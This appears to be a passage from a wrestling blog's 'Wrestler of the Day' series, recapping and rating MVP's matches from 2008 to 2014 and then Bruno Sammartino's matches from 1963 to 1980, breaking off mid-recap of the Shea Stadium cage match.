MVP is also the US Champion. JBL says these two are like Brittney Spears and Mother Teresa. Now there’s a comparison you won’t hear again that often. Cherry’s (Deuce N Domino’s manager) looks were underrated. MVP and Hardy have a fight over who starts the match until we get down to MVP vs. Domino. Even Cole can’t tell Deuce and Domino apart. Domino yells a lot and Matt comes in off a slap to his chest.

Swinging neckbreaker puts Domino down as Matt and MVP have some annoying points system over who can hit the most moves. They keep shouting the score out to each other and I really don’t get what the point of it is. MVP sets for Matt’s yelling legdrop but Matt protests and tags himself in. This has been a one sided virtual comedy match so far. Matt drops a middle rope elbow on the back of Domino’s neck and does the ballin elbow drop.

Off to Deuce who has better luck. Matt gets caught in a chinlock and MVP rolls his eyes. A quick rollup gets two for Hardy. Domino back in as we settle into a regular tag match. Cherry tries to interfere but Matt grabs the Side Effect after MVP shouts to him. Domino hooks a cobra clutch and MVP walks out. Matt fights back and MVP is up on the apron again. He gets an inadvertent tag and cleans house. He hits Ballin on Deuce but Matt comes in, throws MVP out and steals the pin off a Twist of Fate.

Rating: C-. This is the kind of match Smackdown is for. Having two tag titles was a really bad idea as there were nowhere near enough teams to support it. Matt vs. MVP went on almost forever until Matt FINALLY won it at Backlash. This story went on for about 9-10 months. See how it could get boring quickly with all of the challenges that weren’t just wrestling matches?

After losing the title to Hardy at Backlash, MVP would get in a short feud with Jeff Hardy, including this match at Summerslam 2008.

MVP vs. Jeff Hardy

Jeff is in the middle of the biggest story of his life, as he’s been chasing the world title all year. This resulted in one of the highest number of buys ever for the Rumble, yet he’s opening the show here in a midcard match. Makes sense in WWE world I guess. There isn’t much of a story here other than MVP has been messing with Jeff lately. Hardy starts with two right hands to send MVP to the floor and there’s a whip into the barricade. Back in and a slingshot legdrop gets two for Jeff and we hit the armbar.

MVP makes the ropes and the referee has to keep pulling Jeff out of the corner. Jeff eventually gets free and charges right into a snap belly to belly for two. MVP kicks him in the back and puts on something like a crucifix hold before rolling over into a camel clutch. Off to something like a side leg bar but MVP eventually lets it go. Jeff goes tot he apron but MVP knocks him out of the air to break up a springboard, getting two.

Jeff is put in the Tree of Woe so MVP picks him up and slams the top of his head into the mat. That’s a new one. MVP loads up something like a Gory Bomb but Jeff slips down the back and neckbreakers his way to freedom. The slingshot dropkick in the corner is countered by two feet to Hardy’s chest but Jeff avoids the Drive By kick in the corner. A sunset flip gets two for Jeff and the Whisper in the Wind puts MVP down again. Cue US Champion Shelton Benjamin to distract Hardy from the Swanton, allowing MVP to move. The Drive By kick is good for the pin on Jeff.

Rating: B-. Summerslam almost always has good openers and this is a good example. I never got into MVP like a lot of people did but this was a solid performance from him. Shelton had been involved with this feud as an accessory on Smackdown but it’s not exactly enough of a connection for the run-in here to work. Good match though.

After this MVP would go on a long losing streak. He tried to break out of it in this match at Survivor Series 2008.

Team HBK vs. Team JBL

Shawn Michaels, Rey Mysterio, Cryme Tyme, Great Khali
John Bradshaw Layfield, The Miz, John Morrison, Kane, MVP

I think you can figure out the feuds yourself here. MVP and Mysterio get things going as all of the commentators are talking at once here. MVP is in the middle of a massive losing streak that would result in a face turn and I believe the US Title. Rey hits a quick rana and a clothesline for two before it’s off to JTG for a double dropkick. JTG hits a HARD right hand but MVP gets in a shot to the ribs and hits the Drive-By (running kick to the side of the head) for the elimination. Khali immediately comes in and chops MVP in the head for the elimination to tie things up.

Kane comes in for the staredown of the giants and Khali clotheslines him down with ease. Khali slugs him down and easily breaks up a chokeslam attempt. There’s the chop to the head and Rey climbs on Khali’s shoulders for the splash and another elimination. Off to Morrison who speeds things up. We hear about how great Morrison is from Striker, but unfortunately that chick Melina screwed up his future. Mysterio hits a quick kick to the head and it’s off to Shad.

Now Cryme Tyme vs. Miz/Morrison was a feud ahead of its time: their internet shows got in an argument and a wrestling feud followed. Shad misses a charge into the corner and it’s off to Miz. Since Miz isn’t quite the worker he is at this point, it’s back to Morrison very quickly. Shad runs over both members of the tag team and powerslams Miz down before hitting another overhyped elbow. Miz pops back up and hits the Reality Check (backbreaker/neckbreaker combo) to eliminate Shad.

It’s off to Shawn who comes in via a slow, dramatic step. He gets to face the Miz, meaning that entrance was wasted. To the shock of almost everyone, Miz takes over and double teams with Morrison to work over Shawn’s back. JBL, the slimmed down version, comes in to pound away and drop an elbow for two. Back to Miz who pounds away at Shawn’s bad eye, busting it open again.

Morrison comes in again to crank on a headlock and send Shawn over the top. Why would you turn your back when you throw Shawn over the top rope? At least Morrison jumps him when Shawn skins the cat. A forearm puts Shawn down and Morrison nips up in a little jab at HBK. Morrison misses the top rope elbow and it’s a double tag to bring in Miz vs. Mysterio. Rey hits a springboard rana into the 619 and the top rope splash puts Miz out.

JBL comes in and hits a hard shoulder to take Mysterio down. The crowd is WAY into Rey here. The fans think JBL can’t wrestle. The correct chant would be “You can’t work a style we like because we think that flying around and using a lot of moves is how a wrestler’s talents are determined because we don’t know what we’re talking about!” Off to Morrison with a European uppercut followed by a backbreaker.

Rey gets in a kick to the face but it’s off to JBL to hook an abdominal stretch with the leg being cranked on at the same time. Once Rey escapes, JBL uses something you don’t often see: a big boot to the back of the head. Rey blocks a belly to back superplex and hits a moonsault press to put JBL down and bust open his lip. There’s the tag to Shawn who hits the forearm and nip up of his own (take that Morrison) to send Bradshaw to the floor.

Shawn dives out to take Bradshaw out and loads up the superkick to send JBL running away. With JBL running away from the kick, Shawn slides back in and beats the count by one second, meaning JBL is gone via a countout. Morrison tries to superkick Shawn but Shawn is like boy these boots are older than you and kicks Morrison’s head off for the final pin and 3-0 final score for lack of a better term.

Rating: C. This was fine but the ending was kind of anti-climatic. They were trying to save the Shawn pin over JBL which was a good idea as they would have a solid feud in the next few months which resulted in Shawn being JBL’s lackey because Shawn was poor. The guys other than the captains in this didn’t do much of note but that’s kind of the idea behind a match like this. Not bad but nothing great either.

MVP would turn face again because that’s how you end a losing streak. Since this is WWE, after losing about 30 matches in a row, he won two and got a US Title shot on Smackdown, March 20, 2009.

US Title: MVP vs. Shelton Benjamin

Shelton takes him into the corner to start and hammers away before dropping him down in a modified Snake Eyes. A suplex gets two for Shelton but he charges into an overhead belly to belly. MVP gets two of his own off a boot to the face and there’s a facebuster into Ballin. Shelton lands on his feet to counter a suplex and grabs a hangman’s neckbreaker for two. A few rollups get a few near falls on the champion but he grabs the exploder suplex. Shelton misses a splash in the corner and walks into the Playmaker for the pin and the title.

Rating: D+. Short match here with Shelton not seeming all that interested in trying. MVP’s finishing move still doesn’t make a ton of sense. It’s almost like the other guy is being spun down and has a cushion for his neck. Nothing to see here and the fans didn’t seem all that interested in MVP as champion

After dropping the title, MVP would face Jack Swagger at Summerslam 2009.

Jack Swagger vs. MVP

MVP jumps over Swagger in the corner and hits a quick clothesline for two to start. Swagger rolls to the floor to avoid the Ballin Elbow, only to be caught by a suicide dive. Back in and Swagger gets in some shots to the ribs to take over followed by a forearm to the back. MVP counters another shot with an elbow to the face, only to get caught in an abdominal stretch.

A hard clothesline puts MVP down for two and it’s off to a camel clutch. MVP stands up and breaks the hold with an electric chair for two. This is really basic stuff and the fans aren’t all that thrilled. Back up and MVP pops him in the jaw with a right hand, setting up the Ballin Elbow for two. A big boot in the corner sets up the Playmaker for the pin on Swagger.

Rating: D. The match wasn’t even that bad but it was very dull. Neither guy did anything special out there and it was about six minutes of boring, yet acceptable, wrestling. Swagger would go on to a world title the following year for reasons no one can quite fathom while MVP would do nothing of note for the rest of his WWE run.

In one of his last big matches in WWE, MVP would get a US Title shot at Elimination Chamber 2010.

US Title: Miz vs. MVP

I love Miz’s theme music I think. Both guys have their fat tag partners with them. He really does look awesome with all that gold. And the Kool Aid Man is still fat. Naturally the talking is mostly about Daniel Brian and NXT. Why in the world should I care about MVP? I have zero idea what the appeal of him is. Oh and apparently he’s a power guy now? We get Tiger Woods jokes. Oh dear. They try to compare the last few years in their two careers.

Both have come miles. Yes but Miz has gone forward and MVP has gone backwards. This has been fairly entertaining. It’s nothing epic but it’s certainly doing ok. I just can’t stand MVP at all anymore so that has something to do with it. Show’s shouting is funny to me. I hate that Ballin Elbow. It’s just stupid on so many levels. On the floor Henry goes after Show and hits the railing which more or less explodes. Miz is busted open a bit and Show punches MVP to let Miz retain.

Rating: C+. Not bad at all here. It was a great way to get some time on the card filled in which this show needed badly. Also, Miz gets another win to further establish him as a big deal. This is a win he should have gotten and he did. That’s all you can ask of him. Decent little match here indeed.

MVP would get an Intercontinental Title shot on Smackdown, October 8, 2010.

Intercontinental Title: Dolph Ziggler vs. MVP

No Kaitlyn this week darn the luck. Vickie is rather ticked off here. Ziggler controls and sets her up for the slap while he distracts the referee but Vickie doesn’t do it. She walks away as he asks what’s going on and reminds her that they’re a team. MVP jumps him as we go to a break.

Back with Ziggler holding a chinlock. We get a clip from during the break where Dolph kicked MVP in the knee to take over. Reverse neckbreaker gets two. MVP makes s brief comeback with some rollups until Dolph kills him with a kick to the head. He hits the big elbow drop that Luger always missed for two and we hit the chinlock again.

Belly to belly overhead gets MVP out of trouble and makes his comeback. This has been a bit better than I was expecting but then again I can’t stand MVP for the most part. He’s been a bit better lately though. Big boot gets two for MVP. Kaitlyn comes out in a little black and gray dress that looks great on her. Sleeper is countered and both guys are down. MVP sets for Ballin but Kaitlyn grabs his ankle, allowing the Zig Zag to end it.

Rating: C+. Much better than I expected and it got a good deal of time. It wasn’t a great match but I liked it. Ziggler getting pinfalls like these even with moderate cheating is great for him. He wasn’t beaten when Kaitlyn helped him out so it keeps him looking somewhat strong. I liked this and it’s more of the Smackdown midcard doing their thing.

MVP would leave WWE soon after this and head to Japan where he signed with New Japan Pro Wrestling. Here he is on March 19, 2011.

MVP vs. Togi Makabe

They trade shoulder blocks to start before MVP just kicks him in the face. There’s a belly to belly suplex to send Togi outside and MVP sends him into the barricade a few times. Back in and MVP fires off some slaps before we get the required forearm smashes. A facebuster sets up the Ballin Elbow for two but Togi comes back with a powerslam (more like a power armdrag). They trade suplexes (northern lights for Togi, fisherman’s for MVP) for two each and it’s time for more unsold forearms.

MVP misses a lariat and gets Germaned for no cover. Togi clotheslines him down and headbutts out of a superplex attempt. He goes up top again, only to get caught in a slow motion Angle run up the corner. The Playmaker gets two for MVP and frustration is setting in. Off to a modified Crossface but Togi gets to a rope. Some corner clotheslines set up a top rope knee drop to MVP’s chest for the pin.

Rating: C-. This didn’t do much for me as it was just two guys doing moves to each other for about ten minutes. Then again, that’s usually my issue for almost every Japanese match that I watch. It wasn’t bad or anything but it’s nothing that I’d want to see again. The forearms made me roll my eyes.

One more Japanese match and what I believe was MVP’s last match in the company. From Wrestle Kingdom VII.

Akebono/Manabu Nakanishi/MVP/Strong Man vs. Bob Sapp/Takashi Iizuka/Toru Yano/Yujiro Takahashi

The second team is again part of Chaos. Sapp gets his own entrance and has a pretty swank white feather robe. Before the match, Takahashi cuts what sounds like a maniacal heel promo. Manabu makes an announcer do the entrance as the good guys come down the aisle but Chaos charges up the ramp for a brawl. The fight heads to the ring with Strong Man slamming two Chaos members down to set up Ballin from MVP.

Sapp comes in and runs both guys into the corner, only to bring in former Sumo wrestler Akebono (he was at Wrestlemania 21 against Big Show) for the showdown. They collide a few times until Sapp is knocked into the corner for splashes from all four of his opponents. The good guys all start stomping their feet to fire up Manabu who racks Sapp in a nice power display. Yano makes the save with a chair to the back and Iizuka gets in one of his own.

After a quick trip to the floor it’s off to Takahashi for a chop off and a rake to Manabu’s eyes. Yano and Iizuka both wrap chairs around Manabu’s neck and pull for a bit before Iizuka stays in for some right hands. Manabu comes back with a clothesline but the other three members of Chaos break up the tag attempt. Everything breaks down and Chaos is sent into the same corner for splashes from all four good guys (popular move). Manabu racks Iizuka for the submission.

Rating: C. This seemed like a big deal and the ending was fine. Manabu racking people seemed to be a big deal so I’m assuming he’s a popular guy. This was treated as an important win so I’m guessing the winners are at odds with Chaos. I still don’t get the love people have for MVP. The guy is fine but I don’t see the star power people insist is there.

MVP would debut in early 2014 as the new investor in TNA. Here he is fighting for control of the company at Lockdown 2014.

Team MVP vs. Team Roode

MVP, Wolves, Jeff Hardy
Bobby Roode, Bro Mans, Austin Aries

It’s Lethal Lockdown, meaning WarGames and the winner gets control of TNA (Roode is fighting for Dixie and gets 10% ownership if his team wins). Two men start for five minutes followed by a member of Team Roode (due to winning a match on Impact) enters for a two minute advantage. After two minutes a member of Team MVP enters to even things out for two minutes. This alternates until all eight are in when a roof with weapons is lowered and then it’s one fall to a finish, including pins.

Aries and the hometown boy MVP get things going with MVP kicking Aries in the face. Austin comes back with a bulldog and the Last Chancery before laying on the ropes. A missile dropkick doesn’t work as MVP catches him in an exploder suplex and the Ballin Elbow but Aries takes him out before it lands. Aries hits a running dropkick but MVP slams him down and hammers away. Austin escapes an arm hold but misses an elbow drop as Robbie E comes in for the advantage after four minutes.

MVP immediately drops him on his face but Aries gets in a cheap shot and the heels take over. A top rope ax handle puts MVP down and E drops a middle rope elbow to the face. They talk trash to MVP until Eddie Edwards ties things up. Eddie cleans house as you expect a fresh man to do in a Lethal Lockdown match. DJ Zema Ion tries to interfere but gets knocked off the cage wall in a big bump. The good guys control for a bit until the clock runs out with Jesse Godderz giving Team Roode a 3-2 advantage.

The Bro Mans take over without much happening until Davey Richards and his bad arm ties things up. Davey of course gives his team the advantage again with the fast paced double team offense as the WarGames formula is firmly in place here. Stereo half crabs have the Bro Mans in trouble until Aries clotheslines the Wolves from behind. Roode and his awesome sleeveless coat makes it 4-3. The captains go face to face until Roode takes MVP down with a spinebuster.

The heels take complete control until the clock comes on and it’s Willow (Jeff Hardy’s new gimmick, which looks like a black and white Ultimo Dragon mask and really high pants) to tie things up and complete both teams. He comes in as the lights are out and dives off the top of the cage. If they don’t want us to know he’s Hardy, they might have wanted to give him a full body suit to cover the big green tattoo. Thankfully Taz and Tenay drop hints about who it is as the roof with the weapons lower…..and here’s Dixie.

She introduces the insurance policy as the special referee: Bully Ray. As in the guy that spent a year and a half trying to destroy her company. Team MVP waits for Ray at the door but Team Roode jumps them from behind. The weapons are brought in with Ray finding a table under the ring. Dixie sits in a chair on the stage to watch the carnage as it’s all Team Roode. Bobby puts Davey’s bad arm in the Crossface with Bully asking if he wants to give up and talking trash at the same time.

Team Roode all has front facelocks on their opponents but a triple backdrop breaks them free. Richards is broken out quickly and MVP makes sure to hit the Ballin Elbow on Roode. The weapons are used more extensively and Willow loads up a powerbomb on Aries but throws him face first into the cage instead. Robbie is tied up in the Tree of Woe as Ray is just standing in the corner watching. The Wolves set up a trashcan in front of Robbie’s face for an AWESOME double Van Terminator.

Aries is sat in a chair and kicked over and over until he grabs Richards for a BRAINBUSTER THROUGH THE CHAIR. Willow breaks up the save but Aries puts him on a trashcan, only to have Willow move before the 450 only hits the can. A Twist of Fate and Swanton gets a very delayed two on Aries as Roode makes the save and sends Willow into the cage. The table is set up in the cage but Ray gets in the way of the Roode Bomb to MVP. Ray and Roode stare each other down until Ray gives him a Bully Bomb. MVP hits a quick Drive By on Roode for the pin at 26:53.

Rating: B+. The match started slowly but those big spots at the end were great. MVP winning is the right call and fairly obvious (I don’t believe heels have EVER won Lethal Lockdown) but at least there was some drama in there. I don’t get the point of having Hardy be Willow if they’re going to just acknowledge he’s Hardy in a costume. Good main event and a match the show needed.

MVP is a case where I’ve never gotten the appeal. He’s talented in the ring and can talk well enough, but I still don’t get the universal appeal the guy has. People would make you think he’s the next big thing but he seemed to hit the peak of his career with the upper midcard slot. He’s certainly talented and can have a decent match if given the right opponent, but I don’t see the superstar in him.

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Wrestler of the Day – August 17: Bruno Sammartino

Today’s wrestler is the original WWF superstar: Bruno Sammartino.

Bruno started in 1959 and the earliest I can find for him is 1963 in what might be the WWWF in Buffalo. I’m assuming this is the whole match.

Bruno Sammartino vs. Hans Schmidt

Bruno easily wins a forearm battle to start and knocks Schmidt out to the floor. Back in and Schmidt chokes with the tag rope and pounds away in the corner. Bruno is stomped down and has his head rammed into the buckle. He fights back but gets his hair puled to put him right back down. Some big forearms put Hans back outside and the stalling begins. He comes back inside and they slug it out until the bell rings, presumably for a time limit draw.

Rating: C. This is a hard one to rate as we didn’t see most of the match (fairly obvious given how fast the match ended) but what I saw wasn’t all that great. The interesting thing here though is how aggressive both guys were. This could have passed for your modern power brawl if you didn’t know what era it was from, which says a lot when this is over fifty years old.

We’ll jump ahead to the end of Bruno’s WWWF Title reign for this match from July 25, 1970 in Philadelphia.

Bruno Sammartino vs. George Steele

Gorilla Monsoon, the host of the tape this is from, says this is from sometime in the 60s but isn’t sure exactly when. That would likely be because it’s from the 1970s but he’s close enough. Back then Steele was a top heel so this would have been a big time fight. The cage is weird looking as it’s more or less wire walls rather than a traditional cage. Steele has riot gear police officers bring him out. This is still escape rules. Naturally the commentary is from the 80s rather than back in the day as there likely wasn’t commentary done for this originally.

This is clipped to an extent. Bruno hammers him as this is probably the culmination of what was a major feud. Steele looks identical to what he would for the rest of his career. Steele actually gets a low blow before eating a turnbuckle. He rubs the stuffing into Bruno’s eyes which blinds him but George won’t just leave. Apparently Styrofoam stuffing is blinding. This is in Philadelphia according to Monsoon.

Bruno gets rocked by Steele for a good while as the camera and lighting is really different here but of course at the time no one knew what to do from a production standpoint as this was a very new idea back then. Bruno Hulks Up as Steele pounds away and then runs as Bruno can’t be hurt. Sammartino destroys him by ramming him into the cage a bunch and then climbs out.

Rating: C-. Nothing great here but seeing something from this far back in time is always cool. Steele didn’t change a bit in about twenty years and was still completely awesome the whole time. This was a pretty ok match but the clipping didn’t help. Bruno was completely awesome in cages and this worked ok but at six minutes shown, how into a cage match can you get?

Here’s a fairly famous match from MSG on January 18, 1971.

Bruno Sammartino vs. Ivan Koloff

The footage is very old and of low quality so the details might be sketchy here. Also the match itself ran about fifteen minutes but only eight minutes of footage exists. Koloff grabs a quick headlock to start but is backdropped down as the champion escapes. A slam and an armbar put Koloff down but he grabs a headscissors to escape a cover. Bruno gets monkey flipped down but takes over with an armbar.

We’re clipped to later in the match and another armbar by Bruno. Either that or the referee has developed the powers of teleportation. We’re clipped again only seconds later to Koloff holding Bruno in a bow and arrow hold. For the third time in about 30 seconds we’re clipped to Bruno trying to escape the hold but Ivan holds him in place. Again we’re clipped to Ivan cranking on the hold even more. Bruno finally escapes the hold and turns it into one of his own but Ivan makes the rope.

They circle each other a bit and we’re clipped to them circling each other again. Bruno grabs a headlock but gets shoved off and shoulder blocked down. Koloff grabs another headlock and we’re clipped to Bruno being shoulder blocked down again. Bruno hooks a drop toehold into a leg lock but we’re clipped to further in the same hold. The champion stomps on the leg but we’re clipped to Koloff choking away. We’re immediately clipped again to Koloff stomping on Bruno before sending him hard into the corner.

Ivan keeps punching and kicking away and we’re clipped to him doing more of the same. This is one of the most clipped matches I’ve ever seen but for footage over 42 years old, there’s not going to be a much better option available. Koloff pounds away even more and we’re clipped to Bruno making his comeback with right hands to the ribs and a kick to the same place. A slam by Sammartino gets two and we’re clipped to him holding Ivan in a chinlock. We’re clipped again to a cover by the champion but Koloff is too close to the ropes.

We’re clipped again to Bruno hammering away and getting two off a punch to the ribs. Another clip takes us to Ivan in a chinlock again and another clip takes us to later in the same hold. The hold gets two and we’re clipped to Ivan sweeping Bruno’s leg out. We’re clipped yet again to Ivan doing the same thing before we’re clipped to Ivan kicking Bruno in the chest.

A fourth clip in fifteen seconds sees the referee accidentally being knocked down by Koloff in the corner but he’s right back up. Ivan slams Bruno down in the corner and goes up top, dropping a knee in the stomach of the champion. He covers Bruno and history is made as we have a new world’s champion for the first time since 1963.

Rating: C. The rating is based on what we were able to see. While it’s certainly not as intricate or flashy as the matches we regularly see today, there was definitely an energy to the match and nothing looked terribly bad. The problem here of course is the ridiculous amount of clipping, but from what I understand we saw about half of the match here, which is more than I’ve ever seen before.

We’ll jump ahead again to a tag match from some point in 1973.

Bruno Sammartino/Dick the Bruiser vs. Baron Von Raschke/Ernie Ladd

Baron and Bruiser get things going here with Von Raschke hiding from Dick’s right hand. Some shoulders put Baron down and a middle rope stomp is good for two. Ladd makes the save and Bobby Heenan is losing it. Bruiser hooks a chinlock and we’re clipped to Bruno coming in to face Ladd.

Bruno sends the much bigger Ladd into the buckle and knocks him over the top with a single right hand. He puts the boots to Ladd but gets shoved down by the Baron. Bruiser grabs Von Raschke by the face and sends him to the floor before doing the same to Ladd. Back in and Heenan breaks up a cover before Bruiser backdrops Baron. A cover gets two but Von Raschke gets his foot on the ropes…..which the referee pulls off and counts the three for a pin.

Rating: C+. Again better than I expected here though I’m assuming the referee was a bit crooked. This was a very different era where you could win a match on a backdrop and no one would think anything of it. Again I really like the energy out there and it made for a more entertaining match than I was expecting.

Here’s another match from the WWWF in 1974 on TV from Philadelphia. Bruno is champion again but I think this is non-title.

Bruno Sammartino vs. Mr. Fuji

Some armdrags put Fuji down to start and he looks shocked by Bruno’s speed. Fuji goes to the eyes like a true heel should, only to get whipped hard into the buckle to keep the champion in control. A slam puts Bruno down but he kicks away and grabs an armbar. The hold stays on long enough that we get a replay of the last few moments. Fuji comes back with another slam but misses a running splash.

We’re in the third armbar in five minutes and it’s time for another replay. Fuji comes back with a pectoral claw so Bruno just nails him in the jaw. It’s foreign object time and a rake to the eyes with whatever Fuji has is enough to take over. Bruno again comes right back with a knee to the ribs so Fuji goes to the eyes again. Vince: “There’s no telling what’s in the tights of Mr. Fuji.” Fuji goes up top but gets slammed down for two. A backdrop is enough to pin the evil Hawaiian.

Rating: D+. See what I mean about the times being different? If nothing else, the lesson we learn here is don’t get backdropped in the 1970s. The match was pretty dull with armbars that were long enough to air replays. To be fair though this was just a TV match so not a lot was going to happen.

Here’s the first ever cage match in MSG on December 15, 1975.

WWWF World Title: Bruno Sammartino vs. Ivan Koloff

This is inside a steel cage and is called the first ever cage match in Madison Square Garden. You can only win by going out of the cage. Koloff attacks to start the match but Bruno fires off right hands to send Koloff into the cage. Bruno sends him chest first into the buckle and fires off some knees to the face to keep control. Vince calls Koloff the favorite to win the match for some reason. Bruno pounds away even more and sends Ivan face first into the cage wall again.

Bruno stomps away on the back of the head before sending him into the cage again. All Bruno so far. Ivan comes back with a kick to the stomach to take over and now Sammartino tastes the steel. The champion comes back with more right hands and sends Ivan into the cage yet again. Bruno fights back with right hands and pulls Koloff back in as he tries to escape. The ring is especially loud in this match. Ivan goes face first into the cage three times in a row and make it four.

Koloff gets a boot up in the corner to put Sammartino down before dropping the top rope knee onto the champion’s ribs. Ivan is bleeding from the forehead. Bruno pounds away and hits a knee to the chest to keep Ivan in trouble. They seem to mess up a spot before colliding in the ring. A knee to the ribs staggers Ivan and Bruno sends him into the cage once more. Koloff is rammed into the cage again and again before being sent hard into the corner.

Ivan is now between the cage and the ring as Bruno turns up the aggression even more. He sends Koloff head first into whatever metal object he can find before choking with his boot. The champion rakes his boot over Koloff’s eyes and sends him into the cage yet again. There are two more shots into the cage before Bruno climbs out of the cage to retain his title.

Rating: D+. This was a rather short cage match and it was a glorified squash at the same time. Koloff was soundly defeated here which was the entire point of the match. Still though, it wasn’t incredibly exciting as the majority of the match was Bruno ramming Ivan into the cage over and over again. That being said, the fans loved Bruno and that’s the point of the game.

Another title defense from March 1, 1976.

WWWF World Title: Bruno Sammartino vs. Ernie Ladd

Ladd is a 6’9 former football player who was a powerhouse in his own right. The video is labeled as being from Madison Square Garden but it doesn’t look like that arena whatsoever. Ladd has a taped up thumb that the referee wants to take a closer look at. A quick armdrag by Bruno sets up an armbar but Ladd makes the rope. Bruno tries the same combination again and gets the same result. Ernie grabs a quick bearhug and Bruno is in some early trouble.

Ladd gets him down to the mat for a two count with the hold and puts his feet on the ropes for extra leverage. He gets caught too many times though and the referee finally breaks the hold. This time Ladd starts choking away but moves around fast enough to avoid the referee from seeing him. A big slap to the face puts Bruno down again. The champion comes back with a bunch of right hands including one that knocks Ladd out to the floor.

That goes nowhere so Bruno pulls him back in and whips Ladd into the corner. A backdrop puts Ernie down and there’s a boot to the head. Ladd is on the mat holding his head before getting back up and hitting the champ in the throat. A headscissor takeover gets two for Ladd but Bruno comes back with punches and knees to the ribs.

Sammartino rams Ladd into the buckle a few times but misses a charge into the corner. Ladd hits a football tackle to drop the champion and then does it again. A slam puts Bruno down and drives the taped thumb into Sammartino’s throat. Ernie goes up top for a splash but only hits canvas though, giving Bruno the pin to retain the title.

Rating: C-. While this was a somewhat more energetic match than some of the other ones that we’ve looked at, it’s still a pretty slow paced affair. Ladd was a huge power guy which doesn’t quite work against a smaller (5’10) powerhouse like Bruno. The match was decent enough though and it got a good reaction from the crowd, but it was still kind of dull to sit through. It’s a very different kind of wrestling that not all fans are going to like which is understandable.

Time for another pretty famous moment from Baltimore on April 30, 1977.

WWWF World Title: Bruno Sammartino vs. Billy Graham

The ring is especially wide here for some reason. They feel each other out a bit and Graham easily shoves Bruno around. Now Bruno shoves back and grabs an armbar for good measure. Graham makes the rope and heads to the floor for a bit before returning for a test of strength. Bruno goes down to his knees twice and even gets his shoulders counted a few times. The champ fights back and sends Graham to the floor to reset things a bit.

Back in and they fight over a top wristlock with Billy taking control again. Bruno fights back again and takes over with an armbar of his own. The challenger fights up and hits a knee to the ribs, sending Bruno down for some more stomping in the process. Graham goes to the throat to keep the advantage but misses a running knee in the corner. Bruno pounds away and Graham is busted open.

Billy comes back with a whip into the corner and it’s off to a bearhug on the champion. Bruno is in trouble all of a sudden but he fights up from his knees on the much taller Graham. Right hands to the head break the hold and there’s a hard whip into the corner by the champion. Now Sammartino hooks a bearhug of his own but Billy gets a rope. They fight in the corner with Bruno in full control. The referee tries to break it up though, allowing Graham to trip Bruno’s legs out from under him and roll Bruno up with his feet on the ropes for the pin and the title.

Rating: C. This wasn’t too bad but more importantly it showed what Graham could do in the ring. He was insanely powerful and had a flashy look as opposed to the bigger than average but still relatively normal look that dominated wrestling in the 70s. This was Bruno’s last match as champion and he went out in a pretty good way.

And a rematch on August 1, 1977.

WWF Title: Bruno Sammartino vs. Billy Graham

Gorilla is the guest referee for this one and good night is he huge. He shoves Graham around for trying to jump Bruno before the bell. He has no issue with Bruno doing the same though. Gorilla is also doing the voiceover thing here and says that more or less anything goes here. For the second time he says he’s 423lbs at this point. He won’t count Graham out because he says he’s not ending a title match with a count out.

Bruno was limited in his offense but at the same time that’s all you have to do. I think this is in Toronto but I’m not sure at all. Graham gets the feet and gets something from under the ring. Ah it’s a rope. Bruno chokes him with it and Gorilla isn’t as adamant about stopping that. According to Gorilla this is in MSG also but there’s no way given how this arena looks.

The idea here is that Bruno just wants the title back and Graham is trying to find a way to escape with it as his power isn’t working this time as Bruno might be stronger and is at least just as strong. Bruno works on the knee and hooks a half crab. We get a clip again as the hold is broken. That kind of sucks the drama out of matches and I’m not a fan of it at all.

Graham throws in a low blow and Gorilla seems to be ok with it. On the commentary he claims it might have been in the thigh. Yeah the hand being up around the trunks of Bruno really looks like a thigh shot Monsoon. Graham goes up top and misses a knee and Bruno is all fired up again. Ok never mind as he eats post. Billy goes out and gets the belt which Gorilla steals as well. Shame he didn’t do it before the belt hit Bruno’s cranium.

Bruno is BUSTED WIDE OPEN as I channel my inner Gorilla. Graham hits the floor to leave so Gorilla throws him back in the ring. Well you can’t say he’s not active. He says if you look hard enough in the rule book it’s in there. Graham might be busted too and now he can’t get back in the ring.

Gorilla won’t count which is kind of funny. Bruno is ALL FIRED UP and there’s the bearhug again. And there’s a shot to Gorilla but still no DQ. Now that Gorilla’s shirt is just covered in blood he has no real choice but to stop it. It’s kind of hard to question that and he points out that he didn’t have much of a choice.

Rating: B-. Another brutal fight here with all kinds of blood out there. Feuds back then were based more on what happened in the ring rather than what happened on the mic so it’s a very different kind of style. This was a pretty fun match though as Bruno just beat the living tar out of him and Graham kept trying to cheat no matter what he could do. I liked it though.

Time for one of the biggest feuds ever at the time. Starting on January 22, 1980.

Larry Zbyszko vs. Bruno Sammartino

Now THIS is some legendary stuff. This is the original match where it’s more of an exhibition than a match. Basically Bruno is the teacher who taught Larry everything he knows but Larry wants to prove he can hang with Bruno. This is from January of 1980. This is going to be all feeling out/nice guy stuff until the very end. Sammartino takes him to the mat with a drop toehold and has dominated the entire match so far.

Bruno keeps putting holds on Larry and then lets them go which is an odd choice of offense. Larry grabs an abdominal stretch but Bruno powers out of it. Half crab goes on Bruno but Larry lets it go. Sammartino grabs about his fifth hold and lets go of it too. They try a crisscross and Larry gets tossed over in a hiptoss. He’s getting very ticked off here.

Apparently Bruno said he’d only wrestle defensively in this match. Larry heads to the floor to cool his head and Bruno looks the other way for some reason. Larry comes back in and in the biggest heel turn ever at this point, DESTROYS Bruno with a wooden chair. There is blood all over the place. This was shocking and came out of absolutely nowhere. It also set up the hottest feud of the year which we’ll get to the blowoff of in a second.

Rating: C-. The match itself means nothing as the heel turn is the whole thing. This was one of the biggest angles ever and is still a huge turn that works to this day. They would feud over the summer and would blow it off in front of about 40,000 people in the infield of Shea Stadium. We need to get to that now.

Now the blowoff from Showdown at Shea. For this match, bare in mind that it’s from the WWE 24/7 version. Michael Cole and Mick Foley did not do commentary for a match in 1980.

Larry Zbyszko vs. Bruno Sammartino

Wrestling 101 here: Bruno was the mentor, Larry decided he had surpassed the teacher, teacher kept being the star, student attacks the teacher, they go to a baseball stadium and have a wrestling match in front of 36,000 people in a box with no lid on it. Tale as old as time. Old school cage here, as in the kind they have now. NUCLEAR heat on Larry. Bruno gets the only entrance of the night.

We even get clips of Zbyszko’s heel turn which is WAY rare. Bruno jumps him to start and Larry hits the cage 3 times in about 5 seconds. You can only go through the door here and not over the top for no apparent reason. Apparently Larry talks about this match to the point of annoyance. Low blow gives Larry a chance to breathe as this has been very intense so far.

